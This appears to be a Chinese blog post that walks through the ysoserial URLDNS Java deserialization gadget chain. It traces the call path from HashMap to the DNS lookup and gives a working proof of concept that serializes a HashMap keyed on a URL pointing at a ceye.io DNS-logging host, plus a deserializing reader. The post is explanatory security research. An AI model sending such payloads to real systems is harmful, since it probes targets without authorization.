ysoserial-URLDNS链分析

ysoserial-URLDNS链分析

​ URLDNS是ysoserial里面的一条利用链,但URLDNS的利用效果是只能触发一次DNS请求,而不能去执行命令,比较适用于漏洞验证这一块。而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

1、环境部署:

​ IDEA

​ ysoserial源码:https://github.com/frohoff/ysoserial

2、使用方法:

​ 将源码打包成jar包后运行

image-20210629175732068

​ ysoserial 工具是生成序列化的数据用于反序列化利用,而此处将序列化数据写入1.txt文件中

​ 接着反序列化读取

image-20210629180540975

​ 执行成功

image-20210629180913610

3、来看一下URLDNS的调用链:

image-20210609152255585

4、调用链如上图所示,如下跟进代码,hashmap中的putval方法中对反序列化得到的key进行了hash运算

image-20210625163536592

​ 如果key不为空则调用key.hashcode方法

image-20210625164232216

​ 如果hashCode为-1且key为URL类的对象,就会调用SilentURLStreamHandler类的hashCode方法,而SilentURLStreamHandler类是URLStreamHandler抽象类的子类

image-20210625170921572

image-20210625225511996

​ 从而触发dns解析

image-20210625180102271

​ 为了进一步理解payloads.URLDNS生成poc的代码,跟进getHostAddress方法,可以看到如果u.hostAddress不为null即会发起DNS请求,所以在序列化的时候重写getHostAddress方法就不会执行到InetAddress.getByName(host),这样生成poc的时候就只有在反序列化的时候才发起一次DNS请求

image-20210629191919916

3、那么手写exp如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class URLDNS {

    public static void main(String[] args) throws Exception {
        //首先要实例化一个hashmap对象,并初始化一个URL对象,反射获取URL.hashCode属性
        HashMap obj = new HashMap();
        URL url = new URL("http://2zbbmh.ceye.io");
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        //修改访问权限
        field.setAccessible(true);
        //设置hashCode值为任何不为-1的数字,为了不在序列化时触发
        field.set(url,111);
        //将URL对象设置为key放入hashmap对象中
        obj.put(url,"yoyodan");
        //将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
        field.set(url,-1);

        try{
            FileOutputStream fileOutputStream = new FileOutputStream(System.getProperty("user.dir")+"/src/main/java/urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(obj);
            outputStream.close();
            fileOutputStream.close();
        }catch(Exception e){
            e.printStackTrace();

        }
    }
}

​ 反序列化读取:

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class ReadObj {
    public static void main(String[] args) throws Exception {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/src/main/java/urldns.ser"));
        o.readObject();
        System.out.println(o);

    }
}

​ 执行成功

image-20210629194719135

​ 至于payloads.URLDNS生成poc的代码在此就不再分析,同样的原理并且源码里都有英文注释可供理解,分析到此结束。

欢迎关注我的公众号,同步更新喔

wx

posted @ 2021-06-30 17:45  yoyodan  阅读(272)  评论(1编辑  收藏  举报